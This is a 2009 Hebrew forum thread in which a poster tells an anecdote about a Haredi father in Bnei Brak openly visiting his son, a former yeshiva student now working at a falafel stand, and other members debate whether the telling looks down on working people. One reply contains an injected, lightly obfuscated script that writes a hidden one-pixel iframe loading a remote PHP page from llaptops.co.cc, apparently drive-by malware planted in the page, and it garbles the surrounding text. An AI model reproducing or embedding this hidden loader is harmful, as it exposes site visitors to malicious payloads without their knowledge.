| נשלח ב-6/5/2009 08:19 |
 |
| |
גילוי מטפיזי-חסידי בתור לפלאפל (סיפור אמיתי)
יש לפעמים תובנות שמגיעות בהפתעה.
אנו רואים משהו, ופתאום מתברר לנו איזה פרט. הכל כבר נראה אחרת.
הנה סיפור מהחיים.
מעשה במיימוני שהלך עם הילדים לקנות פלאפל. הם עמדו בקצה התור בדיוק כפי שניתן לצפות מהם וחכו בסבלנות. בעוד הילדים מתכננים את הסלטים, מיימוני הסתכל על הצד השני של הדוכן. שם עמלו, בין התנור למלקחים, בחורים יגעים בחולצות טריקו וכיפות שנראו לא קבועות, כלומר חבושות לצורך המקום והשעה וההכשר. וינדנד מיימוני בראשו באנחה על מר גורלו של מי שלא זכה לתורה אלא מקיים בעצמו אדם לעמל יולד. ואף כמעט עמד למלמל לעצמו: אנו משכימים והם משכימים, אלא שזה היה בערב, כאשר פתאום.
הערה: זה הפתאום הראשון ויהיה עוד אחד.
פתאום עקף מישהו, שנראה ממש כמו רב, או לפחות אברך חשוב, שזקנו כבר מאפיר, ונכנס אל מאחורי הדלפק. ודיבר עם הבחורים ואף התלוצץ איתם מעט.
ומיימוני התפלא: גם להידחף וגם לפטפט והכל עבור קצת פלאפל?
אדהכי והכי, כלומר בין כה וכה, התקדם התור, והמוכר המשיך למלא פיתות במטוגן מטוגן הזה. והאיש סיים לשוחח עם הבחורים, ויצא החוצה. ואחד הבחורים מלוה אותו בצאתו.
ואז, פתאום.
הערה שניה: זה הפתאום השני והאחרון.
פתאום פנה הבחור אל האיש ואמר לו:
טוב, להתראות אבא!
ואז פתאום (זה אותו פתאום מקודם) הבין מיימוני מה היה כאן.
האברך היקר, אולי הרב, היה אביו של הבחור שעובד שם. שמוכר פלאפל.
והוא לא נטש את בנו, למרות שבנו ודאי לא השביע את רצונו בעבודה זו. והוא מן הסתם כבר לא בחור ישיבה.
הוא בא לבקרו. משוחח איתו. נכנס איתו למקום שבו עומדים בדרך כלל רק אלו שחשודים כשבאבניקים. מדבר איתו בגובה העינים. מתלוצץ איתו כאחד האנשים שברחוב.
איזה אבא!
איני יודע מה גרם לבן לעזוב את הישיבה. אולי גם האבא היה שותף לזה בהתחלה. אולי הוא לא ידע לתמוך בבן, כפי שקורה לפעמים, ובגלל זה הבן נפל.
אבל גם אם זה היה כך, היום זה אחרת.
אבא לא עוזב את הבן שלו, גם אם הוא נפל. גם אם הוא עובד בעבודה קשה ושאינה נותנת כבוד, בלב בני ברק שבה האב צריך לשמור על "כבודו".
מכאן כבר אפשר לעבור לדרושים מטפיזיים וחסידיים על אבא בשמים שמלוה את הבנים שלו לכל מקום, אבל אני רק באתי לספר סיפור קטן, תמונה מהחיים..
וזה עיקר הסיפור. מה שהיה שם. האב שממשיך לבקר את בנו מוכר הפלאפל. ואוהב אותו. לעיני כל ישראל.
סוף. סוף טוב, הכל טוב, נכון?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-6/5/2009 08:41 |
|
| |
[מיימוני,
אני יודעת שזה קצת בלתי צפוי (אתה יכול להוסיף כאן "פתאום"  ), אבל - אהבתי.
מעניין אותי מה התגלה לילדים המיימוניים באותו רגע, והאם אביהם שיתף אותם במשהו ממה שחש. גם להם זה יכול להיות שיעור חשוב.]
|
|
|
|
| נשלח ב-6/5/2009 09:54 |
|
| |
ראשית, עלי לציין כי כל ענין גישתך שבסיסה הפקת מסקנות מסיפור מהחיים מוצאת חן בעיני עד מאד ומלמדת על אופי וסגנון מחשבה עמוקה.
קראתי בדקדקנות את ספורך המחכים ורב התובנות.
ולא מצאתי סימוכין לכך שהתפוח הוא זה שנפל רחוק מן העץ.
האם לא תיתכן האפשרות כי דווקא האב הוא זה שהיה בגילגולו הקודם כדמות הבן העכשוית, או, כלשונך העשירה והמלבבת: "שבאבניק"...?
ולאחר התקרבותו לאביו שבשמיים המשיך לשמור על קשר עם בנו שנותר מזנב, מאחור?
אין בכך כדי להפריך את המסקנות הסופיות אליהן הגעת, ברם, בכל זאת...
|
|
|
|
| נשלח ב-6/5/2009 10:01 |
|
| |
גדולה מלאכה שמכבדת את בעליה.
האין גדוּלה בכך שאינו פושט ידו למתנת הבריות, או חלילה מלסטמם עלי דרך?
|
|
|
|
| נשלח ב-6/5/2009 10:06 |
|
| |
ואולי האבא בא לקבל את הקצבה החודשית שלו?
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-6/5/2009 10:11 |
|
| |
סיפור נאה בפלאפל, ילדים, שבאבניק, כיפה, שמן ואב טוב.
לדאבוננו הרב, לקרוא את הסיפור הזה ולקחת ממנו דוגמא, הרי זה כמו לראות את רשימות שינדלר ולקחת ממנו דוגמא לסיפורי השואה.
סיפור הפלאפל הנו אחד מני מאה אבות שמתנהגים כך לבניהם ה"נושרים".
לעומת זאת 99 אחוז מהם, מתנכרים לבניהם ולא רוצים להכיר אותם מטוב ועד רע.
אם לא מספיק להם שבעטיים ובגין חינוכם יצא הבן ל"תרבות" (פלאפל) רעה, הרי אף מוסיפים הם שמן למדורת הפלאפל, וגורמים לבן לכעוס על כל החינוך שחינכוהו, ובעקבות כך על כל החרדים ועל הקב"ה, והתוצאות מי ישורון...
מכאן כבר אפשר לעבור לדרושים מטפיזיים וחסידיים על אבא שבשמים אשר "כן" מלוה את הבנים שלו לכל מקום וכו'
|
|
|
|
| נשלח ב-6/5/2009 10:14 |
|
| |
איי מיימוני, לעניות דעתי, כשלת
| מיימוני כתב: |  |
...בעוד הילדים מתכננים את הסלטים, מיימוני הסתכל על הצד השני של הדוכן. שם עמלו, בין התנור למלקחים, בחורים יגעים בחולצות טריקו וכיפות שנראו לא קבועות, כלומר חבושות לצורך המקום והשעה וההכשר. וינדנד מיימוני בראשו באנחה על מר גורלו של מי שלא זכה לתורה אלא מקיים בעצמו אדם לעמל יולד. ואף כמעט עמד למלמל לעצמו: אנו משכימים והם משכימים, אלא שזה היה בערב, כאשר פתאום.
...
פתאום עקף מישהו, שנראה ממש כמו רב, או לפחות אברך חשוב, שזקנו כבר מאפיר, ונכנס אל מאחורי הדלפק. ודיבר עם הבחורים ואף התלוצץ איתם מעט.
...
מכאן כבר אפשר לעבור לדרושים מטפיזיים וחסידיים על אבא בשמים שמלוה את הבנים שלו לכל מקום, אבל אני רק באתי לספר סיפור קטן, תמונה מהחיים..
סוף. סוף טוב, הכל טוב, נכון?
_________________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
|
|
אודה ולא אבוש, תחושת חוסר הנוחות שלי החלה להתעורר בעיקר עקב הביקורת המרומזת על עצם העובדה שאנשים עובדים לפרנסתם. הנה, "מר גורלם" של מי שעומלים לפרנסתם. "אנו משכימים והם משכימים".
וחשבתי אני בלבי, שמאז התנאים נתמעטו הדורות. שכאשר קבע התנא כי "יפה תלמוד תורה עם דרך ארץ שיגיעת שניהם משכחת עוון", לא לדברי מיימוני שכאן התכוון. הרי אילולי דמסתפינא, הייתי עלול לחשוב שמחמת שלא יגע מיימוני בשניהם אלא בתלמוד תורה בלבד, יגיעת תלמוד התורה בלבד לא הצילה אותו מעוון ההתנשאות והקטרוג על בחורים היגעים לפרנסתם.
|
|
|
|
| נשלח ב-6/5/2009 10:56 |
|
| |
למואדיב
|
|
|
|
|
| נשלח ב-6/5/2009 10:57 |
|
| |
זה הציבור החרדי, טוב? רע? עובדה!
|
|
|
|
| נשלח ב-6/5/2009 11:14 |
|
| |
מה שר' מימוני לא טרח לציין כי כמעט בטוח שהם היו ספרדים, לא משלנו- נישט - אינזרע-אצלנו דבר כזה לא יכול כמעט להיות.
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-6/5/2009 12:16 |
|
| |
מואדיב,
 וכל מילה נוספת מיותרת.
_________________
|
|
|
|
| נשלח ב-6/5/2009 12:50 |
|
| |
מספרים על חסיד גור בפולין שהחמיץ ופרק עול, לימים פגשוהו חסידים, חבריו מהעבר.
אמר להם: אל תראוני שאני כזה, נשארתי חסיד גור בלב ובנפש, על אף שפרקתי מעלי עול מלכות שמים.
שאלוהו חבריו: ובמה מתבטא שנשארת חסיד גור ?
אמר להם: בזה שאני שונא עדיין את חסידי אלכסנדר...
(למי שאינו יודע: בפולין בעבר, הייתה טינה ומחלוקת בין גור לאלכסנדר).
אף מיימוני שלנו כך הוא, גם לאחר שנים בעכ"ח, עם קאנט ושפינוזה, עם התמודדות עם דארוין ובקורת המקרא, הוא עדיין נשאר ליטוואק בן תיירה מבני ברק...
|
|
|
|
| נשלח ב-6/5/2009 12:59 |
|
| |
מואדיב וכולם
לא באתי להתנשא. ואם כך נשמעתי, חבל.
באתי לשבח.
ואני גם יודע שזה, בינתים, היוצא דופן.
ולכן התפעלתי ממי שאינו עושה חשבון של "מה יאמרו" שמצוי מאד במקומותינו.
כל מה שכתבתי לא נועד כלל לעסוק בשאלה מה גדול ממה, תלמוד תורה או דרך ארץ של עבודה.
יש הרבה מה לעסוק בשאלה עקרונית זו, כיון שלדעתי אכן יש אצלנו, החרדים ו"בני התורה" ביותר, פגם בשני החלקים. יש מקום לשפר בדרך ארץ, בעצם ההתייחסות העקרונית לנושא הזה בציבור שלנו. ויש מקום לשפר בתלמוד תורה.
שוב: לא זה הנושא.
אם השתמע שהעוסק בדרך ארץ נחות, לא כך יש להבין. ולא זה באתי לומר.
אמנם, כיון שבעיני הבריות הבני ברקיות מי שבנו "יצא לתרבות אחרת" והוא עובד, במיוחד בפלאפל, זה חסרון לבן וחסרון למשפחה, הרי אב שמפגין ברבים את אהבתו לבנו "היורד" - במקום להחביאו - ראוי לכל שבח ואף לשמש דגם לחיקוי. ולזה התכוונתי.
יש גם להבדיל, כמדומה, בין מי שלומד וגם עובד לפרנסתו, וכך היא דרכה של תורה. לבין מי שעובד וליבו מלא כעס על הלומדים שדחו אותו, ולא היא דרכה של תורה. אבל לא באתי לחפש אשמים אלא להצביע על דגם של תיקון. עדיף כמובן לא להזדקק לתיקון מלכתחילה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-6/5/2009 13:04 |
|
| |
.
אחלה פניך מיימוני, אך כקורא מהצד, חוששני שלא פיך הוא שהכשילך, אלא ההשקופה.
"שאנו משכימים והם משכימים"...
משלי פרק ג' פסוק יב
|
|
|
|
| נשלח ב-6/5/2009 13:05 |
|
| |
המשך הסבר.
ראוי היה באמת בתחילת הדברים להסביר יותר. ואנסה. איני סבור שעובדי הדחק של פלאפלי בני ברק הם שונים משאר הארץ. זו עבודה קשה ששכרה מועט וטרחתה מרובה, ואין בה עתיד, כי קשה להאמין שמשלמים להם יותר מאשר שכר לשעה ואין שום תנאים סוציאליים, או קידום.
מי שנאלץ להזדקק לכך, הרי זה לאונסו ולא לשמחתו. אמנם יש לשבח אדם כזה שאינו נואש אלא משתדל להתפרנס ולא להזדקק לבריות.
חוששני כי אלו שעובדים בכך מאבדים, לפחות זמנית, שני עולמות. גם עולם של תורה, כיון שבשעות הפנויות שלהם אין הם רצים אל בית המדרש, ולכך סיבות שונות שקשורות מן הסתם לרקע שבו גדלו ובו לא זכו למה שהיה צריך לזכות לו. וגם עולם הזה של רכישת מיומנויות לפרנסה נוחה וקלה יותר.
אבל למה להכביר מילים? בקריאה שלישית, אני מסכים שהשתמשתי בביטויים שאכן מבטאים תחושת עליונות לא נאותה. אמנם יש לכך רמז גם בגמרא, אבל רק כדי להדגיש שם שלא יאמר אדם ששפר חלקו ומשמים זימנו לו תורה ופרנסה שהוא טוב יותר מאלו שנאלצים לרוץ אחרי פרנסתם ולחפשנה במקומות קשים. וגם אם נוכחתי בדבר כעת, טוב מאוחר מאשר לעולם לא.
(יש מקום להתנצל ולהוסיף, כסנגוריה רביעית, שמטעמים ספרותיים הצגתי את המבט האופייני לציבור שלנו, אבל גם זה מן הסתם אינו ראוי. לכך אני מקבל את התוכחה ואת הגינוי בהכנעה ובהתנצלות).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-6/5/2009 13:08 |
|
| |
.
נ.ב.
הערה ושאלה:
לרוב, מי שיצא ממשפחה החוצה, יודע איך חובשים כיפה. הכיפה לראשו אינה נראית כפי שנראית הכיפה לראשו של חילוני שחובש כיפה לצורך ההכשר, התחשבות וכו'. כפי שכל דתייודע לזהות כיפה נחבשת לצורך השעה. אם הבחור למד ופירש - הכיפה על ראשו לא צריכה להיראות כפי שנראתה. חוששני שחולצת הטריקו, או יותר מכך - העבודה מאחורי הדלפק - היא שגרמה לחשוב שהכיפה נמצאת שם לצורך השעה. דומני כי ההשקופה משתלטת על העין הרואה.
ושאלה:
ממה מתפרנס האב, שחזותו לפחות כשל אברך חשוב? בגילו, כאב לילדים, כגבר המחוייב במזונות אשתו, מהיכן מגיע הכסף לשים לחם על השולחן?
|
|
|
|
|
